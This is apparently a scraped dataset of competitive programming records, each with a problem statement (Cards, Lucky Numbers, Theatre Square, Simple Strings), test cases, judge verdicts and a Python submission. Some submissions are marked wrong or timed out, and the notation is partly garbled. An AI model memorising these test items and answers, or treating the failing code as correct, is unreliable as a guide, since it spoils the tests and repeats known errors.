Input: ['2\n1 2\n1\n1\n', '2\n2 1\n1\n1\n', '3\n3 1 2\n3\n1 2 3\n'] Demo Output: ['1 2\n', '2 1\n', '6 6\n'] Note: In the first sample Vasya's approach will make one comparison (it starts with the 1-st element and immediately finds the required number), and Petya's approach makes two comparisons (first he compares with the 2-nd array element, doesn't find the search item and compares with the 1-st element). In the second sample, on the contrary, Vasya's approach will need two comparisons (first with 1-st element, and then with the 2-nd), and Petya's approach will find the required value in one comparison (the first comparison with the 2-nd element).
```python c1,c2=0,0 k=int(input()) l=list(map(int,input().split(" "))) m=int(input()) n=list(map(int,input().split(" "))) for i in n: c1+=1+l.index(i) c2+=len(l)-l.index(i) print(c1,c2) ```
0
701
A
Cards
PROGRAMMING
800
[ "greedy", "implementation" ]
null
null
There are *n* cards (*n* is even) in the deck. Each card has a positive integer written on it. *n*<=/<=2 people will play new card game. At the beginning of the game each player gets two cards, each card is given to exactly one player. Find the way to distribute cards such that the sum of values written of the cards will be equal for each player. It is guaranteed that it is always possible.
The first line of the input contains integer *n* (2<=≤<=*n*<=≤<=100) — the number of cards in the deck. It is guaranteed that *n* is even. The second line contains the sequence of *n* positive integers *a*1,<=*a*2,<=...,<=*a**n* (1<=≤<=*a**i*<=≤<=100), where *a**i* is equal to the number written on the *i*-th card.
Print *n*<=/<=2 pairs of integers, the *i*-th pair denote the cards that should be given to the *i*-th player. Each card should be given to exactly one player. Cards are numbered in the order they appear in the input. It is guaranteed that solution exists. If there are several correct answers, you are allowed to print any of them.
[ "6\n1 5 7 4 4 3\n", "4\n10 10 10 10\n" ]
[ "1 3\n6 2\n4 5\n", "1 2\n3 4\n" ]
In the first sample, cards are distributed in such a way that each player has the sum of numbers written on his cards equal to 8. In the second sample, all values *a*<sub class="lower-index">*i*</sub> are equal. Thus, any distribution is acceptable.
500
[ { "input": "6\n1 5 7 4 4 3", "output": "1 3\n6 2\n4 5" }, { "input": "4\n10 10 10 10", "output": "1 4\n2 3" }, { "input": "100\n2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2", "output": "1 100\n2 99\n3 98\n4 97\n5 96\n6 95\n7 94\n8 93\n9 92\n10 91\n11 90\n12 89\n13 88\n14 87\n15 86\n16 85\n17 84\n18 83\n19 82\n20 81\n21 80\n22 79\n23 78\n24 77\n25 76\n26 75\n27 74\n28 73\n29 72\n30 71\n31 70\n32 69\n33 68\n34 67\n35 66\n36 65\n37 64\n38 63\n39 62\n40 61\n41 60\n42 59\n43 58\n44 57\n45 56\n46 55\n47 54\n48 53\n49 52\n50 51" }, { "input": "4\n82 46 8 44", "output": "3 1\n4 2" }, { "input": "2\n35 50", "output": "1 2" }, { "input": "8\n24 39 49 38 44 64 44 50", "output": "1 6\n4 8\n2 3\n5 7" }, { "input": "100\n23 44 35 88 10 78 8 84 46 19 69 36 81 60 46 12 53 22 83 73 6 18 80 14 54 39 74 42 34 20 91 70 32 11 80 53 70 21 24 12 87 68 35 39 8 84 81 70 8 54 73 2 60 71 4 33 65 48 69 58 55 57 78 61 45 50 55 72 86 37 5 11 12 81 32 19 22 11 22 82 23 56 61 84 47 59 31 38 31 90 57 1 24 38 68 27 80 9 37 14", "output": "92 31\n52 90\n55 4\n71 41\n21 69\n7 84\n45 46\n49 8\n98 19\n5 80\n34 74\n72 47\n78 13\n16 97\n40 35\n73 23\n24 63\n100 6\n22 27\n10 51\n76 20\n30 68\n38 54\n18 48\n77 37\n79 32\n1 59\n81 11\n39 95\n93 42\n96 57\n87 83\n89 64\n33 53\n75 14\n56 86\n29 60\n3 91\n43 62\n12 82\n70 67\n99 61\n88 50\n94 25\n26 36\n44 17\n28 66\n2 58\n65 85\n9 15" }, { "input": "12\n22 83 2 67 55 12 40 93 83 73 12 28", "output": "3 8\n6 9\n11 2\n1 10\n12 4\n7 5" }, { "input": "16\n10 33 36 32 48 25 31 27 45 13 37 26 22 21 15 43", "output": "1 5\n10 9\n15 16\n14 11\n13 3\n6 2\n12 4\n8 7" }, { "input": "20\n18 13 71 60 28 10 20 65 65 12 13 14 64 68 6 50 72 7 66 58", "output": "15 17\n18 3\n6 14\n10 19\n2 9\n11 8\n12 13\n1 4\n7 20\n5 16" }, { "input": "24\n59 39 25 22 46 21 24 70 60 11 46 42 44 37 13 37 41 58 72 23 25 61 58 62", "output": "10 19\n15 8\n6 24\n4 22\n20 9\n7 1\n3 23\n21 18\n14 11\n16 5\n2 13\n17 12" }, { "input": "28\n22 1 51 31 83 35 3 64 59 10 61 25 19 53 55 80 78 8 82 22 67 4 27 64 33 6 85 76", "output": "2 27\n7 5\n22 19\n26 16\n18 17\n10 28\n13 21\n1 24\n20 8\n12 11\n23 9\n4 15\n25 14\n6 3" }, { "input": "32\n41 42 22 68 40 52 66 16 73 25 41 21 36 60 46 30 24 55 35 10 54 52 70 24 20 56 3 34 35 6 51 8", "output": "27 9\n30 23\n32 4\n20 7\n8 14\n25 26\n12 18\n3 21\n17 22\n24 6\n10 31\n16 15\n28 2\n19 11\n29 1\n13 5" }, { "input": "36\n1 10 61 43 27 49 55 33 7 30 45 78 69 34 38 19 36 49 55 11 30 63 46 24 16 68 71 18 11 52 72 24 60 68 8 41", "output": "1 12\n9 31\n35 27\n2 13\n20 34\n29 26\n25 22\n28 3\n16 33\n24 19\n32 7\n5 30\n10 18\n21 6\n8 23\n14 11\n17 4\n15 36" }, { "input": "40\n7 30 13 37 37 56 45 28 61 28 23 33 44 63 58 52 21 2 42 19 10 32 9 7 61 15 58 20 45 4 46 24 35 17 50 4 20 48 41 55", "output": "18 14\n30 25\n36 9\n1 27\n24 15\n23 6\n21 40\n3 16\n26 35\n34 38\n20 31\n28 29\n37 7\n17 13\n11 19\n32 39\n8 5\n10 4\n2 33\n22 12" }, { "input": "44\n7 12 46 78 24 68 86 22 71 79 85 14 58 72 26 46 54 39 35 13 31 45 81 21 15 8 47 64 69 87 57 6 18 80 47 29 36 62 34 67 59 48 75 25", "output": "32 30\n1 7\n26 11\n2 23\n20 34\n12 10\n25 4\n33 43\n24 14\n8 9\n5 29\n44 6\n15 40\n36 28\n21 38\n39 41\n19 13\n37 31\n18 17\n22 42\n3 35\n16 27" }, { "input": "48\n57 38 16 25 34 57 29 38 60 51 72 78 22 39 10 33 20 16 12 3 51 74 9 88 4 70 56 65 86 18 33 12 77 78 52 87 68 85 81 5 61 2 52 39 80 13 74 30", "output": "42 24\n20 36\n25 29\n40 38\n23 39\n15 45\n19 34\n32 12\n46 33\n3 47\n18 22\n30 11\n17 26\n13 37\n4 28\n7 41\n48 9\n16 6\n31 1\n5 27\n2 43\n8 35\n14 21\n44 10" }, { "input": "52\n57 12 13 40 68 31 18 4 31 18 65 3 62 32 6 3 49 48 51 33 53 40 9 32 47 53 58 19 14 23 32 38 39 69 19 20 62 52 68 17 39 22 54 59 3 2 52 9 67 68 24 39", "output": "46 34\n12 50\n16 39\n45 5\n8 49\n15 11\n23 37\n48 13\n2 44\n3 27\n29 1\n40 43\n7 26\n10 21\n28 47\n35 38\n36 19\n42 17\n30 18\n51 25\n6 22\n9 4\n14 52\n24 41\n31 33\n20 32" }, { "input": "56\n53 59 66 68 71 25 48 32 12 61 72 69 30 6 56 55 25 49 60 47 46 46 66 19 31 9 23 15 10 12 71 53 51 32 39 31 66 66 17 52 12 7 7 22 49 12 71 29 63 7 47 29 18 39 27 26", "output": "14 11\n42 47\n43 31\n50 5\n26 12\n29 4\n9 38\n30 37\n41 23\n46 3\n28 49\n39 10\n53 19\n24 2\n44 15\n27 16\n6 32\n17 1\n56 40\n55 33\n48 45\n52 18\n13 7\n25 51\n36 20\n8 22\n34 21\n35 54" }, { "input": "60\n47 63 20 68 46 12 45 44 14 38 28 73 60 5 20 18 70 64 37 47 26 47 37 61 29 61 23 28 30 68 55 22 25 60 38 7 63 12 38 15 14 30 11 5 70 15 53 52 7 57 49 45 55 37 45 28 50 2 31 30", "output": "58 12\n14 45\n44 17\n36 30\n49 4\n43 18\n6 37\n38 2\n9 26\n41 24\n40 34\n46 13\n16 50\n3 53\n15 31\n32 47\n27 48\n33 57\n21 51\n11 22\n28 20\n56 1\n25 5\n29 55\n42 52\n60 7\n59 8\n19 39\n23 35\n54 10" }, { "input": "64\n63 39 19 5 48 56 49 45 29 68 25 59 37 69 62 26 60 44 60 6 67 68 2 40 56 6 19 12 17 70 23 11 59 37 41 55 30 68 72 14 38 34 3 71 2 4 55 15 31 66 15 51 36 72 18 7 6 14 43 33 8 35 57 18", "output": "23 54\n45 39\n43 44\n46 30\n4 14\n20 38\n26 22\n57 10\n56 21\n61 50\n32 1\n28 15\n40 19\n58 17\n48 33\n51 12\n29 63\n55 25\n64 6\n3 47\n27 36\n31 52\n11 7\n16 5\n9 8\n37 18\n49 59\n60 35\n42 24\n62 2\n53 41\n13 34" }, { "input": "68\n58 68 40 55 62 15 10 54 19 18 69 27 15 53 8 18 8 33 15 49 20 9 70 8 18 64 14 59 9 64 3 35 46 11 5 65 58 55 28 58 4 55 64 5 68 24 4 58 23 45 58 50 38 68 5 15 20 9 5 53 20 63 69 68 15 53 65 65", "output": "31 23\n41 63\n47 11\n35 64\n44 54\n55 45\n59 2\n15 68\n17 67\n24 36\n22 43\n29 30\n58 26\n7 62\n34 5\n27 28\n6 51\n13 48\n19 40\n56 37\n65 1\n10 42\n16 38\n25 4\n9 8\n21 66\n57 60\n61 14\n49 52\n46 20\n12 33\n39 50\n18 3\n32 53" }, { "input": "72\n61 13 55 23 24 55 44 33 59 19 14 17 66 40 27 33 29 37 28 74 50 56 59 65 64 17 42 56 73 51 64 23 22 26 38 22 36 47 60 14 52 28 14 12 6 41 73 5 64 67 61 74 54 34 45 34 44 4 34 49 18 72 44 47 31 19 11 31 5 4 45 50", "output": "58 52\n70 20\n48 47\n69 29\n45 62\n67 50\n44 13\n2 24\n11 49\n40 31\n43 25\n12 51\n26 1\n61 39\n10 23\n66 9\n33 28\n36 22\n4 6\n32 3\n5 53\n34 41\n15 30\n19 72\n42 21\n17 60\n65 64\n68 38\n8 71\n16 55\n54 63\n56 57\n59 7\n37 27\n18 46\n35 14" }, { "input": "76\n73 37 73 67 26 45 43 74 47 31 43 81 4 3 39 79 48 81 67 39 67 66 43 67 80 51 34 79 5 58 45 10 39 50 9 78 6 18 75 17 45 17 51 71 34 53 33 11 17 15 11 69 50 41 13 74 10 33 77 41 11 64 36 74 17 32 3 10 27 20 5 73 52 41 7 57", "output": "14 18\n67 12\n13 25\n29 28\n71 16\n37 36\n75 59\n35 39\n32 64\n57 56\n68 8\n48 72\n51 3\n61 1\n55 44\n50 52\n40 24\n42 21\n49 19\n65 4\n38 22\n70 62\n5 30\n69 76\n10 46\n66 73\n47 43\n58 26\n27 53\n45 34\n63 17\n2 9\n15 41\n20 31\n33 6\n54 23\n60 11\n74 7" }, { "input": "80\n18 38 65 1 20 9 57 2 36 26 15 17 33 61 65 27 10 35 49 42 40 32 19 33 12 36 56 31 10 41 8 54 56 60 5 47 61 43 23 19 20 30 7 6 38 60 29 58 35 64 30 51 6 17 30 24 47 1 37 47 34 36 48 28 5 25 47 19 30 39 36 23 31 28 46 46 59 43 19 49", "output": "4 15\n58 3\n8 50\n35 37\n65 14\n44 46\n53 34\n43 77\n31 48\n6 7\n17 33\n29 27\n25 32\n11 52\n12 80\n54 19\n1 63\n23 67\n40 60\n68 57\n79 36\n5 76\n41 75\n39 78\n72 38\n56 20\n66 30\n10 21\n16 70\n64 45\n74 2\n47 59\n42 71\n51 62\n55 26\n69 9\n28 49\n73 18\n22 61\n13 24" }, { "input": "84\n59 41 54 14 42 55 29 28 41 73 40 15 1 1 66 49 76 59 68 60 42 81 19 23 33 12 80 81 42 22 54 54 2 22 22 28 27 60 36 57 17 76 38 20 40 65 23 9 81 50 25 13 46 36 59 53 6 35 47 40 59 19 67 46 63 49 12 33 23 49 33 23 32 62 60 70 44 1 6 63 28 16 70 69", "output": "13 49\n14 28\n78 22\n33 27\n57 42\n79 17\n48 10\n26 83\n67 76\n52 84\n4 19\n12 63\n82 15\n41 46\n23 80\n62 65\n44 74\n30 75\n34 38\n35 20\n24 61\n47 55\n69 18\n72 1\n51 40\n37 6\n8 32\n36 31\n81 3\n7 56\n73 50\n25 70\n68 66\n71 16\n58 59\n39 64\n54 53\n43 77\n11 29\n45 21\n60 5\n2 9" }, { "input": "88\n10 28 71 6 58 66 45 52 13 71 39 1 10 29 30 70 14 17 15 38 4 60 5 46 66 41 40 58 2 57 32 44 21 26 13 40 64 63 56 33 46 8 30 43 67 55 44 28 32 62 14 58 42 67 45 59 32 68 10 31 51 6 42 34 9 12 51 27 20 14 62 42 16 5 1 14 30 62 40 59 58 26 25 15 27 47 21 57", "output": "12 10\n75 3\n29 16\n21 58\n23 54\n74 45\n4 25\n62 6\n42 37\n65 38\n1 78\n13 71\n59 50\n66 22\n9 80\n35 56\n17 81\n51 52\n70 28\n76 5\n19 88\n84 30\n73 39\n18 46\n69 8\n33 67\n87 61\n83 86\n34 41\n82 24\n68 55\n85 7\n2 47\n48 32\n14 44\n15 72\n43 63\n77 53\n60 26\n31 79\n49 36\n57 27\n40 11\n64 20" }, { "input": "92\n17 37 81 15 29 70 73 42 49 23 44 77 27 44 74 11 43 66 15 41 60 36 33 11 2 76 16 51 45 21 46 16 85 29 76 79 16 6 60 13 25 44 62 28 43 35 63 24 76 71 62 15 57 72 45 10 71 59 74 14 53 13 58 72 14 72 73 11 25 1 57 42 86 63 50 30 64 38 10 77 75 24 58 8 54 12 43 30 27 71 52 34", "output": "70 73\n25 33\n38 3\n84 36\n56 80\n79 12\n16 49\n24 35\n68 26\n86 81\n40 59\n62 15\n60 67\n65 7\n4 66\n19 64\n52 54\n27 90\n32 57\n37 50\n1 6\n30 18\n10 77\n48 74\n82 47\n41 51\n69 43\n13 39\n89 21\n44 58\n5 83\n34 63\n76 71\n88 53\n23 85\n92 61\n46 91\n22 28\n2 75\n78 9\n20 31\n8 55\n72 29\n17 42\n45 14\n87 11" }, { "input": "96\n77 7 47 19 73 31 46 13 89 69 52 9 26 77 6 87 55 45 71 2 79 1 80 20 4 82 64 20 75 86 84 24 77 56 16 54 53 35 74 73 40 29 63 20 83 39 58 16 31 41 40 16 11 90 30 48 62 39 55 8 50 3 77 73 75 66 14 90 18 54 38 10 53 22 67 38 27 91 62 37 85 13 92 7 18 83 10 3 86 54 80 59 34 16 39 43", "output": "22 83\n20 78\n62 68\n88 54\n25 9\n15 16\n2 89\n84 30\n60 81\n12 31\n72 86\n87 45\n53 26\n8 91\n82 23\n67 21\n35 63\n48 33\n52 14\n94 1\n69 65\n85 29\n4 39\n24 64\n28 40\n44 5\n74 19\n32 10\n13 75\n77 66\n42 27\n55 43\n6 79\n49 57\n93 92\n38 47\n80 34\n71 59\n76 17\n46 90\n58 70\n95 36\n41 73\n51 37\n50 11\n96 61\n18 56\n7 3" }, { "input": "4\n100 100 1 1", "output": "3 2\n4 1" }, { "input": "100\n1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1", "output": "1 100\n2 99\n3 98\n4 97\n5 96\n6 95\n7 94\n8 93\n9 92\n10 91\n11 90\n12 89\n13 88\n14 87\n15 86\n16 85\n17 84\n18 83\n19 82\n20 81\n21 80\n22 79\n23 78\n24 77\n25 76\n26 75\n27 74\n28 73\n29 72\n30 71\n31 70\n32 69\n33 68\n34 67\n35 66\n36 65\n37 64\n38 63\n39 62\n40 61\n41 60\n42 59\n43 58\n44 57\n45 56\n46 55\n47 54\n48 53\n49 52\n50 51" }, { "input": "100\n100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100 100", "output": "1 100\n2 99\n3 98\n4 97\n5 96\n6 95\n7 94\n8 93\n9 92\n10 91\n11 90\n12 89\n13 88\n14 87\n15 86\n16 85\n17 84\n18 83\n19 82\n20 81\n21 80\n22 79\n23 78\n24 77\n25 76\n26 75\n27 74\n28 73\n29 72\n30 71\n31 70\n32 69\n33 68\n34 67\n35 66\n36 65\n37 64\n38 63\n39 62\n40 61\n41 60\n42 59\n43 58\n44 57\n45 56\n46 55\n47 54\n48 53\n49 52\n50 51" }, { "input": "4\n3 4 4 5", "output": "1 4\n2 3" }, { "input": "4\n1 1 2 2", "output": "1 4\n2 3" }, { "input": "4\n1 2 3 4", "output": "1 4\n2 3" } ]
1,638,170,844
2,147,483,647
Python 3
OK
TESTS
35
61
0
n = int(input()) a = list(map(int, input().split(" "))) m = dict() for i in range(n): if(a[i] not in m.keys()): m[a[i]] = [i + 1] else: m[a[i]].append(i + 1) a.sort() for i in range(n//2): print(m[a[i]].pop(),m[a[n - 1 - i]].pop() )
Title: Cards Time Limit: None seconds Memory Limit: None megabytes Problem Description: There are *n* cards (*n* is even) in the deck. Each card has a positive integer written on it. *n*<=/<=2 people will play new card game. At the beginning of the game each player gets two cards, each card is given to exactly one player. Find the way to distribute cards such that the sum of values written of the cards will be equal for each player. It is guaranteed that it is always possible. Input Specification: The first line of the input contains integer *n* (2<=≤<=*n*<=≤<=100) — the number of cards in the deck. It is guaranteed that *n* is even. The second line contains the sequence of *n* positive integers *a*1,<=*a*2,<=...,<=*a**n* (1<=≤<=*a**i*<=≤<=100), where *a**i* is equal to the number written on the *i*-th card. Output Specification: Print *n*<=/<=2 pairs of integers, the *i*-th pair denote the cards that should be given to the *i*-th player. Each card should be given to exactly one player. Cards are numbered in the order they appear in the input. It is guaranteed that solution exists. If there are several correct answers, you are allowed to print any of them. Demo Input: ['6\n1 5 7 4 4 3\n', '4\n10 10 10 10\n'] Demo Output: ['1 3\n6 2\n4 5\n', '1 2\n3 4\n'] Note: In the first sample, cards are distributed in such a way that each player has the sum of numbers written on his cards equal to 8. In the second sample, all values *a*<sub class="lower-index">*i*</sub> are equal. Thus, any distribution is acceptable.
```python n = int(input()) a = list(map(int, input().split(" "))) m = dict() for i in range(n): if(a[i] not in m.keys()): m[a[i]] = [i + 1] else: m[a[i]].append(i + 1) a.sort() for i in range(n//2): print(m[a[i]].pop(),m[a[n - 1 - i]].pop() ) ```
3
95
B
Lucky Numbers
PROGRAMMING
1,800
[ "dp", "greedy" ]
B. Lucky Numbers
2
256
Petya loves lucky numbers. Everybody knows that positive integers are lucky if their decimal representation doesn't contain digits other than 4 and 7. For example, numbers 47, 744, 4 are lucky and 5, 17, 467 are not. Lucky number is super lucky if it's decimal representation contains equal amount of digits 4 and 7. For example, numbers 47, 7744, 474477 are super lucky and 4, 744, 467 are not. One day Petya came across a positive integer *n*. Help him to find the least super lucky number which is not less than *n*.
The only line contains a positive integer *n* (1<=≤<=*n*<=≤<=10100000). This number doesn't have leading zeroes.
Output the least super lucky number that is more than or equal to *n*.
[ "4500\n", "47\n" ]
[ "4747\n", "47\n" ]
none
1,000
[ { "input": "4500", "output": "4747" }, { "input": "47", "output": "47" }, { "input": "1", "output": "47" }, { "input": "12", "output": "47" }, { "input": "4587", "output": "4747" }, { "input": "100", "output": "4477" }, { "input": "1007", "output": "4477" }, { "input": "99999999", "output": "4444477777" }, { "input": "49102094540227023300", "output": "74444444444777777777" }, { "input": "1000000000", "output": "4444477777" }, { "input": "777777", "output": "44447777" }, { "input": "99999999", "output": "4444477777" }, { "input": "474", "output": "4477" }, { "input": "85469", "output": "444777" }, { "input": "7474747", "output": "44447777" }, { "input": "2145226", "output": "44447777" }, { "input": "5556585", "output": "44447777" }, { "input": "87584777", "output": "4444477777" }, { "input": "77777777", "output": "4444477777" }, { "input": "1000000000", "output": "4444477777" }, { "input": "999999999", "output": "4444477777" }, { "input": "74477744", "output": "74477744" }, { "input": "444444444", "output": "4444477777" }, { "input": "467549754", "output": "4444477777" }, { "input": "147474747", "output": "4444477777" }, { "input": "555", "output": "4477" }, { "input": "100000", "output": "444777" }, { "input": "74777443", "output": "74777444" }, { "input": "4700007", "output": "44447777" }, { "input": "70070077", "output": "74444777" }, { "input": "123", "output": "4477" }, { "input": "7474", "output": "7474" }, { "input": "3696", "output": "4477" }, { "input": "5594108733309806863211189515406929423407691887690557101598403485", "output": "7444444444444444444444444444444447777777777777777777777777777777" }, { "input": "7004223124942730640235383244438257614581534320356060987241659784249551110165034719443327659510644224", "output": "7444444444444444444444444444444444444444444444444447777777777777777777777777777777777777777777777777" }, { "input": "795193728547733389463100378996233822835539327235483308682350676991954960294227364128385843182064933115", "output": "44444444444444444444444444444444444444444444444444447777777777777777777777777777777777777777777777777777" }, { "input": "300315701225398103949172355218103087569515283105400017868730132769291700939035921405014640214190659140126383204458315111136164707153628616177467538307534664174018683245377348638677858006052356516328838399769950207054982712314494543889750490268253870160095357456864075250350735474301206523459172092665900965024129501630212966373988276932458849720393142004789869863743947961634907491797090041095838600303393556660079821519800685499052949978754418782241756597476926001413610822", "output": "444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777" }, { "input": "61136338618684683458627308377793588546921041456473994251912971721612136383004772112243903436104509483190819343988300672009142812305068378720235800534191119843225949741796417107434937387267716981006150", "output": "74444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777" }, { "input": "47447774444477747744744477747744477774777774747474477744474447744447747777744777444474777477447777747477474774477444777777744774777474477744444474744777774744447747477747474447444444447444774744777447", "output": "47447774444477747744744477747744477774777774747474477744474447744447747777744777444474777477447777747477474774477444777777744774777474477744444474744777774744447747477747474447444444447444774747444444" }, { "input": "474777447477447774447777477444444747747747447474", "output": "474777447477447774447777477444444747747747447474" }, { "input": "4610011341130234325130111223432762111322200032405402224411031600004377332320125004161111207316702630337013246237324411010232123224431343463152610127222227432331505230001434422203415026064601462701340036346273331432110074431135223142761441433403414301432300263254301342131314327333745711213130421310313153504022700431534463141461236322033420140324202221402036761452134031253152442133141307046425107520", "output": "4744444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444447777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777" }, { "input": "35881905331681060827588553219538774024143083787975", "output": "44444444444444444444444447777777777777777777777777" }, { "input": "221020945402270233", "output": "444444444777777777" }, { "input": "241925018843248944336317949908388280315030601139576419352009710", "output": "4444444444444444444444444444444477777777777777777777777777777777" }, { "input": "888999577", "output": "4444477777" }, { "input": "10", "output": "47" }, { "input": "7", "output": "47" }, { "input": "50", "output": "74" }, { "input": "70", "output": "74" }, { "input": "74700", "output": "444777" }, { "input": "1024", "output": "4477" }, { "input": "73", "output": "74" }, { "input": "74710000", "output": "74744477" }, { "input": "444000000", "output": "4444477777" }, { "input": "4", "output": "47" }, { "input": "1", "output": "47" }, { "input": "9", "output": "47" }, { "input": "99", "output": "4477" }, { "input": "48", "output": "74" }, { "input": "4747474749", "output": "4747474774" }, { "input": "4747474774", "output": "4747474774" }, { "input": "77777777", "output": "4444477777" }, { "input": "4777", "output": "7447" }, { "input": "7748", "output": "444777" }, { "input": "7773", "output": "444777" }, { "input": "19", "output": "47" }, { "input": "447777", "output": "474477" } ]
1,492,399,038
2,147,483,647
Python 3
TIME_LIMIT_EXCEEDED
TESTS
7
2,000
4,608,000
n = input() while True: if len(set(n)) == 2 and '4' in set(n) and '7' in set(n) and n.count('4') == n.count('7'): print (n) break n = str(int(n) + 1)
Title: Lucky Numbers Time Limit: 2 seconds Memory Limit: 256 megabytes Problem Description: Petya loves lucky numbers. Everybody knows that positive integers are lucky if their decimal representation doesn't contain digits other than 4 and 7. For example, numbers 47, 744, 4 are lucky and 5, 17, 467 are not. Lucky number is super lucky if it's decimal representation contains equal amount of digits 4 and 7. For example, numbers 47, 7744, 474477 are super lucky and 4, 744, 467 are not. One day Petya came across a positive integer *n*. Help him to find the least super lucky number which is not less than *n*. Input Specification: The only line contains a positive integer *n* (1<=≤<=*n*<=≤<=10100000). This number doesn't have leading zeroes. Output Specification: Output the least super lucky number that is more than or equal to *n*. Demo Input: ['4500\n', '47\n'] Demo Output: ['4747\n', '47\n'] Note: none
```python n = input() while True: if len(set(n)) == 2 and '4' in set(n) and '7' in set(n) and n.count('4') == n.count('7'): print (n) break n = str(int(n) + 1) ```
0
1
A
Theatre Square
PROGRAMMING
1,000
[ "math" ]
A. Theatre Square
1
256
Theatre Square in the capital city of Berland has a rectangular shape with the size *n*<=×<=*m* meters. On the occasion of the city's anniversary, a decision was taken to pave the Square with square granite flagstones. Each flagstone is of the size *a*<=×<=*a*. What is the least number of flagstones needed to pave the Square? It's allowed to cover the surface larger than the Theatre Square, but the Square has to be covered. It's not allowed to break the flagstones. The sides of flagstones should be parallel to the sides of the Square.
The input contains three positive integer numbers in the first line: *n*,<=<=*m* and *a* (1<=≤<=<=*n*,<=*m*,<=*a*<=≤<=109).
Write the needed number of flagstones.
[ "6 6 4\n" ]
[ "4\n" ]
none
0
[ { "input": "6 6 4", "output": "4" }, { "input": "1 1 1", "output": "1" }, { "input": "2 1 1", "output": "2" }, { "input": "1 2 1", "output": "2" }, { "input": "2 2 1", "output": "4" }, { "input": "2 1 2", "output": "1" }, { "input": "1 1 3", "output": "1" }, { "input": "2 3 4", "output": "1" }, { "input": "1000000000 1000000000 1", "output": "1000000000000000000" }, { "input": "12 13 4", "output": "12" }, { "input": "222 332 5", "output": "3015" }, { "input": "1000 1000 10", "output": "10000" }, { "input": "1001 1000 10", "output": "10100" }, { "input": "100 10001 1000000000", "output": "1" }, { "input": "1000000000 1000000000 1000000000", "output": "1" }, { "input": "1000000000 1000000000 999999999", "output": "4" }, { "input": "1000000000 1000000000 192", "output": "27126743055556" }, { "input": "1000000000 987654321 1", "output": "987654321000000000" }, { "input": "456784567 1000000000 51", "output": "175618850864484" }, { "input": "39916800 134217728 40320", "output": "3295710" } ]
1,648,492,947
2,147,483,647
Python 3
WRONG_ANSWER
TESTS
0
30
0
def TheatreSquare(m, n, a): counter = 0 while counter * a < m or counter * a < n: counter += 1 return 2 * counter
Title: Theatre Square Time Limit: 1 seconds Memory Limit: 256 megabytes Problem Description: Theatre Square in the capital city of Berland has a rectangular shape with the size *n*<=×<=*m* meters. On the occasion of the city's anniversary, a decision was taken to pave the Square with square granite flagstones. Each flagstone is of the size *a*<=×<=*a*. What is the least number of flagstones needed to pave the Square? It's allowed to cover the surface larger than the Theatre Square, but the Square has to be covered. It's not allowed to break the flagstones. The sides of flagstones should be parallel to the sides of the Square. Input Specification: The input contains three positive integer numbers in the first line: *n*,<=<=*m* and *a* (1<=≤<=<=*n*,<=*m*,<=*a*<=≤<=109). Output Specification: Write the needed number of flagstones. Demo Input: ['6 6 4\n'] Demo Output: ['4\n'] Note: none
```python def TheatreSquare(m, n, a): counter = 0 while counter * a < m or counter * a < n: counter += 1 return 2 * counter ```
0
665
C
Simple Strings
PROGRAMMING
1,300
[ "dp", "greedy", "strings" ]
null
null
zscoder loves simple strings! A string *t* is called simple if every pair of adjacent characters are distinct. For example ab, aba, zscoder are simple whereas aa, add are not simple. zscoder is given a string *s*. He wants to change a minimum number of characters so that the string *s* becomes simple. Help him with this task!
The only line contains the string *s* (1<=≤<=|*s*|<=≤<=2·105) — the string given to zscoder. The string *s* consists of only lowercase English letters.
Print the simple string *s*' — the string *s* after the minimal number of changes. If there are multiple solutions, you may output any of them. Note that the string *s*' should also consist of only lowercase English letters.
[ "aab\n", "caaab\n", "zscoder\n" ]
[ "bab\n", "cabab\n", "zscoder\n" ]
none
0
[ { "input": "aab", "output": "bab" }, { "input": "caaab", "output": "cabab" }, { "input": "zscoder", "output": "zscoder" }, { "input": "u", "output": "u" }, { "input": "h", "output": "h" }, { "input": "dtottttotd", "output": "dtotataotd" }, { "input": "rxxxrrxrxxxxxrrrrrxxxxrrrrxrxxrxxrxrxrrrxrrxrrxrxxxrxrrxrrxrxrxxxxxrxxxxrrrxrxxrxxrxxxrrrrrxrrxrrxrr", "output": "rxaxraxrxaxaxrararxaxararaxrxarxarxrxrarxraxraxrxaxrxraxraxrxrxaxaxrxaxararxrxarxarxaxrararxraxraxra" }, { "input": "aazz", "output": "baza" }, { "input": "zz", "output": "za" }, { "input": "gg", "output": "ga" }, { "input": "qasdasd", "output": "qasdasd" }, { "input": "aa", "output": "ba" }, { "input": "ab", "output": "ab" }, { "input": "zza", "output": "zba" }, { "input": "g", "output": "g" }, { "input": "nnop", "output": "naop" }, { "input": "xx", "output": "xa" } ]
1,607,019,267
2,147,483,647
PyPy 3
OK
TESTS
27
202
9,728,000
